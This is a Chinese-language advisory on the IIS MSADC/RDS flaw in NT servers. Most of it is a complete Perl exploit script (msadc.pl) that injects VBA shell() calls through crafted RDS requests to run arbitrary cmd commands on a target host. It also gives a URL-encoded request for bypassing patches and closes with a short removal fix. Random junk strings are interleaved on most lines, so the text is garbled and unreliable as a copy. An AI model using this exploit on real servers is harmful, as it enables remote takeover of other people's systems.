IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
l@4_D;b3o" O1J&Lwpk, 涉及程序:
q8v[u_(yD Microsoft NT server
-3EQRqVg f"QiVJq 描述:
(+>
2&@@< 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[1VA`:?W 1cLtTE 详细:
d(T4Kd$r 如果你没有时间读详细内容的话,就删除:
CubQ6@, c:\Program Files\Common Files\System\Msadc\msadcs.dll
.$qa?$@ 有关的安全问题就没有了。
h[ DNhR T{k
P9
4 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
cz>,sz~i z-5`6aE9< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
%lF*g 关于利用ODBC远程漏洞的描述,请参看:
H5=kDkb QJGGce http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =
xO03|T;6 C82_)@96 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
nT6y6F_e http://www.microsoft.com/security/bulletins/MS99-025faq.asp #jQauO J7+G"_)' 这里不再论述。
+I3jI < 6#?T?!vZ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
\<4N'|: e1m?g&[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
cO~<iy
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Z!1D4`w 1-KNXGb' KA5)]UF`l #将下面这段保存为txt文件,然后: "perl -x 文件名"
gg'1q3OjM `8:)? 0Ez #!perl
zfIo]M` #
O
VV@ # MSADC/RDS 'usage' (aka exploit) script
m[9.'@ye #
06&J!,p
: # by rain.forest.puppy
:C~Ar] #
*'<AwG& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
M!UTqf7XL # beta test and find errors!
2Je$SE8 .DCHc,DxA use Socket; use Getopt::Std;
RgJ@J/p" getopts("e:vd:h:XR", \%args);
Ys"wG B> U
v2.Jo/Q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
?[D3-4 F "@% 7xy if (!defined $args{h} && !defined $args{R}) {
aF{_"X2 print qq~
X 'Ss#s>g Usage: msadc.pl -h <host> { -d <delay> -X -v }
<n2@;`D -h <host> = host you want to scan (ip or domain)
8+zW:0"[ -d <seconds> = delay between calls, default 1 second
WRh5v8Wz0 -X = dump Index Server path table, if available
Jh26!%<Bl -v = verbose
Q]:O#;"< -e = external dictionary file for step 5
ALF0d|>=uj /WrB>w Or a -R will resume a command session
J1?;' 2"Os9 KD ~; exit;}
~ZHjP_5Q PobX;Z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gq+SM
i= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vl"w,@V7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'0<d9OlJ} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
K$CC ~,D $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
zC?'Qiuh* if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@,vmX
z Wv;0PhF if (!defined $args{R}){ $ret = &has_msadc;
]ss[n.T0* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
zA,vp^ CWj_K2=d print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Av X1* . "cmd /c ";
N'Gq9A $in=<STDIN>; chomp $in;
~f/|bcep $command="cmd /c " . $in ;
<Vat@e Wh[QR-7Ew if (defined $args{R}) {&load; exit;}
`zd,^.i5~ vCzZjGBY print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
) `u17
{ &try_btcustmr;
=~#mF<z5 j{@O%fv= print "\nStep 2: Trying to make our own DSN...";
4ot<Uw5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
$%<{zWQm ?|nl93m print "\nStep 3: Trying known DSNs...";
vB:\ZX4 &known_dsn;
IpP%WW u @=-(H<0 print "\nStep 4: Trying known .mdbs...";
P"YdB|I &known_mdb;
eV;r /4 th?+TNb^ if (defined $args{e}){
9^gYy&+>6] print "\nStep 5: Trying dictionary of DSN names...";
E
C?}iP &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
BZq#OAp ^QK`z@B print "Sorry Charley...maybe next time?\n";
-t`kb*O3` exit;
?w3RqF@} 9:j?Jvw$ ##############################################################################
Ox3=1M0 6FUW^dt sub sendraw { # ripped and modded from whisker
YEL0h0gn sleep($delay); # it's a DoS on the server! At least on mine...
})g<I+]Hf9 my ($pstr)=@_;
W5*ldXXk socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5{c;I<0 die("Socket problems\n");
@CprC]X if(connect(S,pack "SnA4x8",2,80,$target)){
aukcO;oG< select(S); $|=1;
LUOjaX print $pstr; my @in=<S>;
JGs:RD' select(STDOUT); close(S);
j-<]OOD return @in;
j3j?2#vR } else { die("Can't connect...\n"); }}
ER0
Yl ?=u?u
k<- ##############################################################################
6g(;2gY bLqy7S9x sub make_header { # make the HTTP request
inh0p^ my $msadc=<<EOT
u'YXI="( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|z-f8$ User-Agent: ACTIVEDATA
Y:^hd809 Host: $ip
'jev1u[ Content-Length: $clen
-Q
WvB Connection: Keep-Alive
CM6% g f3 144Y. ADCClientVersion:01.06
Q!X?P Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
OO:S2-]Y>e ^T=9j.e'ja --!ADM!ROX!YOUR!WORLD!
B8&q$QV Content-Type: application/x-varg
Gh;\"Qx Content-Length: $reqlen
mdi!Q1pS {u'szO}k EOT
_v!7
|&\ ; $msadc=~s/\n/\r\n/g;
$)lkiA&; return $msadc;}
KVi6vdgD cslC+e/ ##############################################################################
*?)MJ@ ``MO5${ sub make_req { # make the RDS request
K'A+V my ($switch, $p1, $p2)=@_;
3efOgP=L my $req=""; my $t1, $t2, $query, $dsn;
Cxf K(F B#K gU&Loo if ($switch==1){ # this is the btcustmr.mdb query
-y`Pm8 $query="Select * from Customers where City=" . make_shell();
;6tra_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
c&['T+X $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
c_/BS n \CB^9-V3 elsif ($switch==2){ # this is general make table query
!np_B0` $query="create table AZZ (B int, C varchar(10))";
|t,sK aL $dsn="$p1";}
,=/9Ld2w9 uGU2 elsif ($switch==3){ # this is general exploit table query
0.MB;gm: $query="select * from AZZ where C=" . make_shell();
^<;W+dWdU $dsn="$p1";}
AHf 9H? tUu'
gs| elsif ($switch==4){ # attempt to hork file info from index server
7e_4sxg'(3 $query="select path from scope()";
~ua(Qm $dsn="Provider=MSIDXS;";}
xIdb9hm< JrP`u4f_ elsif ($switch==5){ # bad query
E=NjWO $query="select";
Gu;40)gm $dsn="$p1";}
b
74!Zw ;-d b/$O $t1= make_unicode($query);
U[]yN.J $t2= make_unicode($dsn);
x]^d'o:cDP $req = "\x02\x00\x03\x00";
L]Tj]u) $req.= "\x08\x00" . pack ("S1", length($t1));
>6es
5}
$req.= "\x00\x00" . $t1 ;
@iz Onc: $req.= "\x08\x00" . pack ("S1", length($t2));
,NO[Piok $req.= "\x00\x00" . $t2 ;
^ u$gO3D $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Bm~^d7;Cw return $req;}
`?VK(<w0q Gb')a/ ##############################################################################
%bcf% 7 oj 8r* sub make_shell { # this makes the shell() statement
YwVA].p@TI return "'|shell(\"$command\")|'";}
Xo PJ?63 vo/x`F'ib ##############################################################################
-rDfDdT g=:o 'W$@ sub make_unicode { # quick little function to convert to unicode
;>,B(Xz4i my ($in)=@_; my $out;
qq)5)S for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-Jv,#Z3 return $out;}
NlYuT+ rO87V!Cj ##############################################################################
rwWOhD)RU 5Tn< sub rdo_success { # checks for RDO return success (this is kludge)
P~7(x7/7~ my (@in) = @_; my $base=content_start(@in);
lMv6QL\>' if($in[$base]=~/multipart\/mixed/){
_Sjj|j return 1 if( $in[$base+10]=~/^\x09\x00/ );}
vfSPgUB) return 0;}
,='Ihi VL#:oyWA ##############################################################################
z,Xj$wl N"9^A^w8k sub make_dsn { # this makes a DSN for us
tI^91I my @drives=("c","d","e","f");
^-%'ItVO print "\nMaking DSN: ";
8vx
ca]DcV foreach $drive (@drives) {
l;-2hZ print "$drive: ";
Tzd#!Lvm:, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~-"CU:$o "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
{$S"Sj . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
r^k+D<k[7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
m"L^tSD~ return 0 if $2 eq "404"; # not found/doesn't exist
[REH*_ if($2 eq "200") {
("`"?G foreach $line (@results) {
d=1\= d/K return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[I;C6p } return 0;}
U|wST&rU| 2j
f!o ##############################################################################
g0 f4>m VEV?$R7; sub verify_exists {
6AIqoX*p my ($page)=@_;
y[J9"k(@ my @results=sendraw("GET $page HTTP/1.0\n\n");
XT/t\\Z`U return $results[0];}
(N/u@ M =Ti!9_~ ##############################################################################
:ok.[q 4 95Y<x}= sub try_btcustmr {
65Z}Hf my @drives=("c","d","e","f");
%
jDH{xSMb my @dirs=("winnt","winnt35","winnt351","win","windows");
>{AE@@PB^ *,u{,$}2 foreach $dir (@dirs) {
hy/g*> print "$dir -> "; # fun status so you can see progress
&5}YTKe}| foreach $drive (@drives) {
]ty$/{hx' print "$drive: "; # ditto
UV(`. $reqlen=length( make_req(1,$drive,$dir) ) - 28;
x@X2r $reqlenlen=length( "$reqlen" );
h<L_ =)lH $clen= 206 + $reqlenlen + $reqlen;
G
1{m" 1M wn"\@Qv G my @results=sendraw(make_header() . make_req(1,$drive,$dir));
SY9 5s if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
"]3o933D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
[kJ;Uxncz~ zE;|MU@| ##############################################################################
BMq> Cj+ .QY>@b\ sub odbc_error {
TY/'E#. my (@in)=@_; my $base;
-|x7<$Hw my $base = content_start(@in);
-.Wwo(4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X$xf@|<a $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
G!%m~+", $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5$
How! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@Ez>?#z return $in[$base+4].$in[$base+5].$in[$base+6];}
#ChTel print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2fdN@iruB print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
H2iIBGu|L $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
k8G4CFg}wP PY|zN| ##############################################################################
hq4&<Zr( P%B|HnG^ sub verbose {
:TVo2Zm[@ my ($in)=@_;
FOD'&Yb& return if !$verbose;
/$93#$ print STDOUT "\n$in\n";}
7!qeIz N 75U.;U0 ##############################################################################
<j,I@% ?121 as}z sub save {
'7' 73 my ($p1, $p2, $p3, $p4)=@_;
}S"gZ6 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Q>[{9bI4QP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
>'n[B close OUT;}
AK
lra$ -Tvnd, ##############################################################################
|Ja5O em7L`, sub load {
pPxgjX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M19O^P>[ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
0aq{Y7sYU @p=<IN>; close(IN);
Cw^iA
U $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
foPM5+.G $target= inet_aton($ip) || die("inet_aton problems");
8-gl$h print "Resuming to $ip ...";
W +Piqf* $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6r^ZMW if($p[1]==1) {
<IU $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,or;8aYc# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#Br`;hL<T my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ZYB5s~;eB" if (rdo_success(@results)){print "Success!\n";}
Gy+c/gK else { print "failed\n"; verbose(odbc_error(@results));}}
f2tCB1[D+ elsif ($p[1]==3){
+% <kcc3 if(run_query("$p[3]")){
_R0O9sPTO print "Success!\n";} else { print "failed\n"; }}
nls$
wE elsif ($p[1]==4){
*QNX?8Fm_ if(run_query($drvst . "$p[3]")){
.`*;AT print "Success!\n"; } else { print "failed\n"; }}
`C7pM exit;}
H.hKh "#36- ##############################################################################
` *hTx|!' l_((3e[) sub create_table {
n[BYBg1yG my ($in)=@_;
lB_4jc $reqlen=length( make_req(2,$in,"") ) - 28;
uD{^1c3x $reqlenlen=length( "$reqlen" );
QP"5A7=m $clen= 206 + $reqlenlen + $reqlen;
D,$M$f1 my @results=sendraw(make_header() . make_req(2,$in,""));
)a!f")@uz return 1 if rdo_success(@results);
EId>%0s5 my $temp= odbc_error(@results); verbose($temp);
zgS)j9q} return 1 if $temp=~/Table 'AZZ' already exists/;
'oGMr=gp<& return 0;}
;Ym6ey0t Za,o ##############################################################################
0(C[][a*u E690'\)31 sub known_dsn {
3 p -SpUvp # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.: wg@Z my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
RYl{89 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
cEXd#TlY~X "banner", "banners", "ads", "ADCDemo", "ADCTest");
ui"`c%2n 1C=42ZZ&2 foreach $dSn (@dsns) {
^^V+0 l print ".";
EGRIhnED# next if (!is_access("DSN=$dSn"));
@<OsTF L if(create_table("DSN=$dSn")){
P;7[5HFF print "$dSn successful\n";
od@!WjcM[8 if(run_query("DSN=$dSn")){
R0w~ Z
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
aA%x9\Y print "Something's borked. Use verbose next time\n";}}} print "\n";}
?y%Mm09 3]\'Q} ##############################################################################
J>hjIN E-X02A sub is_access {
@CPkP my ($in)=@_;
6."|m+D $reqlen=length( make_req(5,$in,"") ) - 28;
R4D$)D $reqlenlen=length( "$reqlen" );
>7?Lq<H $clen= 206 + $reqlenlen + $reqlen;
0/fwAp my @results=sendraw(make_header() . make_req(5,$in,""));
"<L9-vb my $temp= odbc_error(@results);
gjJ:s,Fg verbose($temp); return 1 if ($temp=~/Microsoft Access/);
+pv..\ return 0;}
i'ZnU55= ?r$&O*; ##############################################################################
T_\hhP~ 7wrRIeES sub run_query {
t|&hXh{ my ($in)=@_;
YYe<StyH $reqlen=length( make_req(3,$in,"") ) - 28;
AgDXpaq $reqlenlen=length( "$reqlen" );
!~m PxGY $clen= 206 + $reqlenlen + $reqlen;
(e
2.Ru my @results=sendraw(make_header() . make_req(3,$in,""));
\*fXPJ4 return 1 if rdo_success(@results);
OK@yMGz1I my $temp= odbc_error(@results); verbose($temp);
%Zeb#//Jz return 0;}
ju.`c->k" 3E @ & ##############################################################################
[8b{Ybaz ?Rh[S sub known_mdb {
`)i4ZmE| my @drives=("c","d","e","f","g");
Pr/q?qZY my @dirs=("winnt","winnt35","winnt351","win","windows");
,]@Sytky my $dir, $drive, $mdb;
t,~feW, my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7&dF=/:X@ YyY?<<z% # this is sparse, because I don't know of many
47&p*= my @sysmdbs=( "\\catroot\\icatalog.mdb",
REOWSs$' "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Sfi1bsK "\\system32\\certmdb.mdb",
![[:Z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
N]I:: Vvn~G.&) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Q9g^'a "\\cfusion\\cfapps\\forums\\forums_.mdb",
BgsU:eKe "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Qoz4(~I "\\cfusion\\cfapps\\security\\realm_.mdb",
uY&t9L8 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
'Urx83 "\\cfusion\\database\\cfexamples.mdb",
0b=00./o "\\cfusion\\database\\cfsnippets.mdb",
|UQGZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
/p|L.&`U "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
BI>r' "\\cfusion\\brighttiger\\database\\cleam.mdb",
L>`inrpz=w "\\cfusion\\database\\smpolicy.mdb",
>b*}Td~J "\\cfusion\\database\cypress.mdb",
:dlG:=.W "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
BE!WCDg, "\\website\\cgi-win\\dbsample.mdb",
H9=8nLb. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Q-e(>=Gv_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|pT[ZT|}G ); #these are just
U@".XIDQ foreach $drive (@drives) {
W
6R/{H foreach $dir (@dirs){
VkC1\L6 foreach $mdb (@sysmdbs) {
gue~aqtJ print ".";
()_^:WQO? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
xn<x/e print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
w\>@>*E> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Gbb*p+( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
wemhP8!gc } else { print "Something's borked. Use verbose next time\n"; }}}}}
dsZ-|C KctbNMU]k foreach $drive (@drives) {
2 o5u02x foreach $mdb (@mdbs) {
`$] ZT>& print ".";
\uOR1z if(create_table($drv . $drive . $dir . $mdb)){
jq[Q>"f
print "\n" . $drive . $dir . $mdb . " successful\n";
DbN_(mC if(run_query($drv . $drive . $dir . $mdb)){
"2
qivJ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Q/l388' } else { print "Something's borked. Use verbose next time\n"; }}}}
239gpf]} }
6 Znt
{u$<-W-& ##############################################################################
pq,8z= Uf #@cEJV;5" sub hork_idx {
JF9r[% print "\nAttempting to dump Index Server tables...\n";
U;]h/3P print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
fp$U%uj $reqlen=length( make_req(4,"","") ) - 28;
2()/l9.O' $reqlenlen=length( "$reqlen" );
Y-v6M3$ $clen= 206 + $reqlenlen + $reqlen;
]2mfby my @results=sendraw2(make_header() . make_req(4,"",""));
dJ7 !je1N* if (rdo_success(@results)){
:D my $max=@results; my $c; my %d;
^}Gu'!z9D for($c=19; $c<$max; $c++){
\~:_h#bW $results[$c]=~s/\x00//g;
UmP\; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-pN'r/$3V $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
f!}e*oX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
MJcWX|(y $d{"$1$2"}="";}
i)MJP * foreach $c (keys %d){ print "$c\n"; }
`_.(qg } else {print "Index server doesn't seem to be installed.\n"; }}
^4
~ V/ i=`@)E ##############################################################################
)VkH':yCM _sqV@ J sub dsn_dict {
$_u)~O4$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
bSk)GZyH\d while(<IN>){
$G#)D^-5G $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
M~*o =t next if (!is_access("DSN=$dSn"));
Y#oY'S .;y if(create_table("DSN=$dSn")){
L@~0`z:>iP print "$dSn successful\n";
#D Oui] if(run_query("DSN=$dSn")){
M~djX} #\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,z|g b]\ print "Something's borked. Use verbose next time\n";}}}
,Y27uey{wa print "\n"; close(IN);}
&BRi& &f =R||c ##############################################################################
90
pt'Jg ~=c[?: sub sendraw2 { # ripped and modded from whisker
N'M+Z=!
sleep($delay); # it's a DoS on the server! At least on mine...
+`~kt4W my ($pstr)=@_;
6F?U:N#< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
71k>_'fl die("Socket problems\n");
zy@
nBi^ if(connect(S,pack "SnA4x8",2,80,$target)){
w4;1 (' print "Connected. Getting data";
X/<Q3AK open(OUT,">raw.out"); my @in;
}&/_ S select(S); $|=1; print $pstr;
B&z~}lL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
O`'r:W close(OUT); select(STDOUT); close(S); return @in;
z5IdYF? } else { die("Can't connect...\n"); }}
]|K@0, -<@QR8: ##############################################################################
;
Ne|H$N Y2P%0 sub content_start { # this will take in the server headers
l#!6
tw+e? my (@in)=@_; my $c;
+Am\jsq for ($c=1;$c<500;$c++) {
KOVR=``"/ if($in[$c] =~/^\x0d\x0a/){
W< :7z if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
4w(#`'I> else { return $c+1; }}}
8Rd*`]@[pk return -1;} # it should never get here actually
(-hGb: PG'+vl ##############################################################################
kTS#>uS ~cW,B} sub funky {
hD>cxo my (@in)=@_; my $error=odbc_error(@in);
\WZ]'o6 if($error=~/ADO could not find the specified provider/){
>vc$3%L[$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
f]]UNS$AYQ exit;}
nQ^ c{Bm: if($error=~/A Handler is required/){
yq\p%z$: print "\nServer has custom handler filters (they most likely are patched)\n";
|eFce/ exit;}
g+/m:(7[s| if($error=~/specified Handler has denied Access/){
|Fp+9U print "\nServer has custom handler filters (they most likely are patched)\n";
4xzoA'Mb@ exit;}}
oC1Nfc+
^#&:-4/ ##############################################################################
ffoLCx4o0E vjO@"2YEw sub has_msadc {
gSXidh}^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
:B5M#D!dO my $base=content_start(@results);
^U]B&+m return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
;wj8:9
; return 0;}
QX|y};7\e <~-cp61z; ########################
=.8fES v0'`K 5M &WoS(^ 解决方案:
eaCh;IpIf 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!5=S2<UX 2、移除web 目录: /msadc